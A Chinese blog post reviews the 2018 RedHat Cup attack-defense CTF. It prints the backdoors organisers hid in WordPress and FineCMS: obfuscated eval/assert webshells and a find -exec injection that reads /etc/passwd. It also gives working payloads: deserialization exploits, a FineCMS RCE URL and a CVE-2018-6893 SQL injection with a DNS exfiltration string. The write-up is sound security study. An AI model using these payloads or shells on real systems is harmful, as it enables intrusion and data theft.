Sky's blog

2018RedHat-AD-Web

Word count: 3,244 / Reading time: 14 min
2018/05/27 Share

前言

这次红帽杯线下赛结束后,可以说是一头雾水了,两个Web被打的一头雾水,不知道怎么回事
于是赛后进行了漏洞发现和总结,于是有了这篇文件

漏洞发现方式

赛后为了可以找到绝大数主办方留下的漏洞,我选择下载官方对应版本的cms,然后进行diff
这里的
web1为wordpress 4.9.5
web2为finecms 5.2.0
值得一提的是,finecms除了有主办方预留的漏洞外,还有cms本身的漏洞,大概算是1day吧
windows上推荐的diff工具为:DiffMerge
但实际比赛中,并不会开放外网,而以前万能的D盾现在也只能发现比较显而易见的预留后门了
所以具有关键字符搜索,审计的能力也很重要
不得不佩服比赛时候的大佬们,竟然可以在很短的时间内,发掘出各种漏洞(D盾可查杀马之外),并迅速编写poc打全场
以下是源码分享:
链接: https://pan.baidu.com/s/1vNzET0feN-SmaZEEaq3MEA 密码: dvxk

web1

漏洞我一共发掘出4个,全部是主办方预留的后门,除了index.php显然可见外,其他都是我Diff发掘的
所以说我很佩服大佬们的快速审计能力,因为这些洞基本是主办方插在一些正常文件中的,只能说技不如人,甘拜下风~

命令执行1

文件路径

1
/wp-admin/tools.php

代码截选如下

1
$poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; @$poc_2($_POST['_']);

非常容易看出

1
@assert($_POST['_']);

显然是一个常见的小马,就不多说什么了

命令执行2

文件路径

1
/wp-login.php

代码截选如下

1
2
3
4
case 'debug':
$file = addslashes($_POST['file']);
system("find /tmp -iname ".escapeshellcmd($file));
break;

根据官方手册

1
2
3
4
5
6
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL

只要不出现这个字符,即可不受addslashes()影响
然后发现系统会执行find命令,后面参数可控
我们测试加上-or,发现

1
2
3
sky@ubuntu:~/Desktop$ find /tmp -iname sth -or a
find: paths must precede expression: a
Usage: find [-H] [-L] [-P] [-Olevel] [-D help|tree|search|stat|rates|opt|exec|time] [path...] [expression]

明显看到有exec参数
我们尝试

1
2
sky@ubuntu:~/Desktop$ find /tmp -iname sth -or -exec ls
find: missing argument to `-exec'

但是发现会被告知缺少参数,查阅资料可以知道:
-exec 参数后面跟的是command命令,它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠。
我们尝试

1
find /tmp -iname sth -or -exec ls \;

发现程序会循环打印ls结果
我们加上-quit以只打印一次即可

1
2
3
sky@ubuntu:~/Desktop$ find /tmp -iname sth -or -exec ls \; -quit
difflog v5 vmware-tools-distrib web2.txt zzz
finecms_5.2.0.zip v5.txt web2 web2.zip zzz.txt

发现成功进行了ls命令
尝试读文件

最后得到
poc:

1
file=sth -or -exec cat /etc/passwd ; -quit

为什么;前不需要加转义符?
因为escapeshellcmd()官方手册是这样描述的

1
2
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

所以经过处理,程序会自动给我们的;加上转义符

1
2
3
php > $file="sth -or -exec cat /etc/passwd ; -quit";
php > var_dump(escapeshellcmd($file));
string(38) "sth -or -exec cat /etc/passwd \; -quit"

命令执行3

文件路径

1
index.php

代码如下

1
@eval($_POST['admin']);

可以发现是一个明显的小马,耳熟能详,不再详解

命令执行4

文件路径

1
wp-includes/class-wp-cachefile.php

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class Template {
public $cacheFile = '/tmp/cachefile';
public $template = '<div>Welcome back %s</div>';

public function __construct($data = null) {
$data = $this->loadData($data);
$this->render($data);
}

public function loadData($data) {
if (substr($data, 0, 2) !== 'O:'
&& !preg_match('/O:\d:\/', $data)) {
return unserialize($data);
}
return [];
}

public function createCache($file = null, $tpl = null) {
$file = $file ?? $this->cacheFile;
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);
}

public function render($data) {
echo sprintf(
$this->template,
htmlspecialchars($data['name'])
);
}

public function __destruct() {
$this->createCache();
}
}

new Template($_COOKIE['data']);

赛后我进行研究的时候,找到原题
https://github.com/bl4de/security_whitepapers/blob/master/RIPS_PHP_Security_Calendar_2017.md
真心服了,不过这个洞应该在比赛的时候是用不起来的
首先??是php7的新特性,而比赛的时候php应该是5系列的
其次是主办方魔改题目

1
2
if (substr($data, 0, 2) !== 'O:'
&& !preg_match('/O:\d:\/', $data))

这里直接改出了bug
最后一个\转义了/,而原题,这个\是用来转义{的,主办方强行删除{,导致直接有了语法问题。。。。。

1
Warning: preg_match(): No ending delimiter '/' found in 222.php on line 12

简单说明一下构造流程
1.首先传入$_COOKIE[‘data’]
2.触发construct()
3.触发$data = $this->loadData($data);
4.触发unserialize($data);
5.触发
destruct()
6.触发createCache()
7.最后来到file_put_contents($file, $tpl);
达成任意写文件的目的
构造

1
2
3
4
5
6
7
8
<?php
class Template {
public $cacheFile = './sky.php';
public $template = '<?php phpinfo();';
}
$a = new Template();
$data = serialize($a);
echo $data;

得到

1
O:8:"Template":2:{s:9:"cacheFile";s:9:"./sky.php";s:8:"template";s:16:"<?php phpinfo();";}

添加上绕过检测的部分,最后给出payload

1
a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:9:"./sky.php";s:8:"template";s:16:"<?php phpinfo();";}}

简单说明一下,首先利用

1
a:1:{i:0;..........}

绕过第一个检测

1
(substr($data, 0, 2) !== 'O:'

利用+绕过第二个检测

1
!preg_match('/O:\d:\/', $data)

其他

剩下的我还找到一些不知道是不是别人马的文件,这里就没有分析
因为感觉像是上来就被种后门了,类似于

1
<script language="PHP">if(md5($_GET[guo])==="fe831851246d186db20c229fa19a0172"){@eval($_POST[power]);}</script>

这种带了md5才能使用的后门,个人感觉应该是别人的马
但是比赛刚开始就被种上了,我就很迷,因为简单的洞我们都是上来就直接注释了,难的洞不会1,2分钟就写好POC打全场了吧= =
所以我分不太清楚是主办方留的还是大牛的手速太快……打了几场AD,这还是第一次遇到这么快被种后门的= =
另外听说还有巨巨们使用了Ubuntu16.04.4本地提权漏洞,直接在给予权限极低的web1机器上获取了root权限,并还进行了批量利用提权……本菜鸡真的是佩服

web2

这里用D盾可以简单查杀出2个明显的shell

剩下的我同样是diff+根据流量+google找到的

命令执行1

文件路径:

1
./config/site/1.php

问题代码如下(为节约篇幅,这里截选关键代码)

1
'SITE_DOMAINS'  => '123sadccv=>1)&&($_GET[a]($_GET[b]));exit();$a=array(a', //网站的其他域名

可以明显看到webshell

1
($_GET[a]($_GET[b]))

触发方式也很简单

1
a=system&b=cat /flag

即可触发命令执行漏洞
简单演示一下

1
2
3
4
5
<?php 
$a='system';
$b='dir';
$a($b);
?>

运行结果

1
2
3
2018/03/26  07:27             1,176 pgAdmin4.exe.lnk
2017/08/30 20:36 202 Plague Inc Evolved.url
[Finished in 0.3s]

命令执行2

文件路径:

1
./config/site/2.php

可以看到该文件为混淆过的小马

1
2
<?php
$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(50).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();

我们简单调试一下看看什么结果

1
2
3
4
<?php 
$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(50).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();
var_dump($_cC);
?>

得到回显

1
2
string(16) "eval($_POST[2]);"
[Finished in 0.1s]

可以看到就是一个很简单的小马:

1
eval($_POST[2]);

这个就不用演示了,想必大家都熟知
直接在post里使用即可

1
2=phpinfo();

命令执行3

由于当时被打的很懵逼
赛后我进行了整理,首先确定了finecms的版本:

1
2
3
4
5
6
<?php
return array(

'DR_UPDATE' => '2017.12.28',
'DR_VERSION' => '5.2.0',
);

下载了相应版本的finecms
然后进行文件夹内容diff
发现如下新增文件

文件路径

1
./finecms/dayrui/config/config.class.php

我们定位到代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['param'])){
$config->$_GET['param'];
}
class FinecmsConfig{
private $config;
private $path;
public $filter;
public function __construct($config=""){
$this->config = $config;
echo 123;
}
public function getConfig(){
if($this->config == ""){
$config = isset($_POST['Finecmsconfig'])?$_POST['Finecmsconfig']:"";
}
}
public function SetFilter($value){

if($this->filter){
foreach($this->filter as $filter){


$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}
$this->filter = array();
}else{
return false;
}
return true;
}
public function __get($key){
$this->SetFilter($key);
die("");
}
}

很容易看到关键函数

1
call_user_func

这让我立刻想到了命令执行
随机我构造了测试脚本

1
2
3
4
5
6
7
8
9
<?php 
class FinecmsConfig{
private $config;
private $path;
public $filter=array('system','system');
}
$fuck = new FinecmsConfig();
echo base64_encode(serialize($fuck));
?>

生成构造出的序列化base64编码值

1
TzoxMzoiRmluZWNtc0NvbmZpZyI6Mzp7czoyMToiAEZpbmVjbXNDb25maWcAY29uZmlnIjtOO3M6MTk6IgBGaW5lY21zQ29uZmlnAHBhdGgiO047czo2OiJmaWx0ZXIiO2E6Mjp7aTowO3M6Njoic3lzdGVtIjtpOjE7czo2OiJzeXN0ZW0iO319

简单利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class FinecmsConfig{
private $config;
private $path;
public $filter;
public function __construct($config=""){
$this->config = $config;
echo 123;
}
public function getConfig(){
if($this->config == ""){
$config = isset($_POST['Finecmsconfig'])?$_POST['Finecmsconfig']:"";
}
}
public function SetFilter($value){

if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}
$this->filter = array();
}else{
return false;
}
return true;
}
public function __get($key){
$this->SetFilter($key);
die("");
}
}
$config='TzoxMzoiRmluZWNtc0NvbmZpZyI6Mzp7czoyMToiAEZpbmVjbXNDb25maWcAY29uZmlnIjtOO3M6MTk6IgBGaW5lY21zQ29uZmlnAHBhdGgiO047czo2OiJmaWx0ZXIiO2E6Mjp7aTowO3M6Njoic3lzdGVtIjtpOjE7czo2OiJzeXN0ZW0iO319';
$config = unserialize(base64_decode($config));
$param='dir';
if(isset($param)){
$config->$param;
}

发现即可命令执行dir
接下来寻找$config的传入点,我们定位config.class.php文件
全局搜索后即可发现文件包含
文件路径

1
./finecms/Init.php

文件内容

1
2
3
4
if(isset($_COOKIE['FINECMS_CONFIG'])){
$config = $_COOKIE['FINECMS_CONFIG'];
require FCPATH.'dayrui/config/config.class.php';
}

发现只要cookie FINECMS_CONFIG为

1
TzoxMzoiRmluZWNtc0NvbmZpZyI6Mzp7czoyMToiAEZpbmVjbXNDb25maWcAY29uZmlnIjtOO3M6MTk6IgBGaW5lY21zQ29uZmlnAHBhdGgiO047czo2OiJmaWx0ZXIiO2E6Mjp7aTowO3M6Njoic3lzdGVtIjtpOjE7czo2OiJzeXN0ZW0iO319

即可用get参数param任意命令执行

命令执行4

这是抓到的别人payload发掘的

1
/index.php?c=Api&m=html&name=search&format=html&params={"search_sql":"' action=cache name=block.L]=eval(base64_decode($_GET[f0ck]))&$cache[L"}&f0ck=c3lzdGVtKCJjYXQgL2ZsYWciKTs=

比赛的时候不知道怎么回事
赛后一搜,发现是别人2018年3月审计的洞,算是1day吧= =
我说怎么diff不出来,原来是cms自带漏洞
文章链接

1
2
https://zhuanlan.zhihu.com/p/35133267
http://lu4n.com/finecms-rce-0day/

payload

1
http://localhost/index.php?c=Api&m=html&name=search&format=html&params={"search_sql":"action=cache name=block.L]=phpinfo()&$cache[L"}

sql注入漏洞

同样是赛后搜到的cms自带漏洞:编号CVE-2018-6893
参考链接

1
https://bbs.ichunqiu.com/thread-36673-1-1.html

poc

1
index.php?s=member&c=api&m=checktitle&id=13&title=123&module=news,(selectload_file(concat(0x5c5c5c5c,database(),0x2e6e65766a32372e636579652e696f5c5c616461)))as total

蛇皮修复法

对于web1当时很痛苦,1是流量没有抓全,找不到问题,2是权限问题,需要拿自己shell再操作,这里我没有什么好的修复办法,也没有保护好这台机器。。。被打了一天……很伤心
而对于web2洞过多,并且包含cms自带漏洞问题,又没有外网,于是我利用了一些小聪明
即总结了check方式
发现check每5分钟只会请求一次index.php和admin.php(因为这里抓到了流量)
且均为get方式,无参数访问
这意味着check可能只通过判断状态响应头是否为200,或者是否当前页面有某些关键信息,来判断主机存活
于是我很蛇皮的ctrl+s保存了index.php和admin.php的前端
然后删光了web2所有文件,将两个纯静态html+静态文件夹上传到服务器。。。
然后就很舒服的过了check,并且永远没有再被攻击……XD
真的服了这个check机制了~

后记

这次AD应该是被打的最惨的一次了,个人审计能力和大佬们的差距真的很大,这次记流量的东西也没部署好,导致直接血崩了。
必须好好反省一下,技不如人,甘拜下风。
文章中可能并没有包含到所有漏洞,若有什么新的发现,请补充,感谢!

CATALOG
  1. 1. 前言
  2. 2. 漏洞发现方式
  3. 3. web1
    1. 3.1. 命令执行1
    2. 3.2. 命令执行2
    3. 3.3. 命令执行3
    4. 3.4. 命令执行4
    5. 3.5. 其他
  4. 4. web2
    1. 4.1. 命令执行1
    2. 4.2. 命令执行2
    3. 4.3. 命令执行3
    4. 4.4. 命令执行4
    5. 4.5. sql注入漏洞
  5. 5. 蛇皮修复法
  6. 6. 后记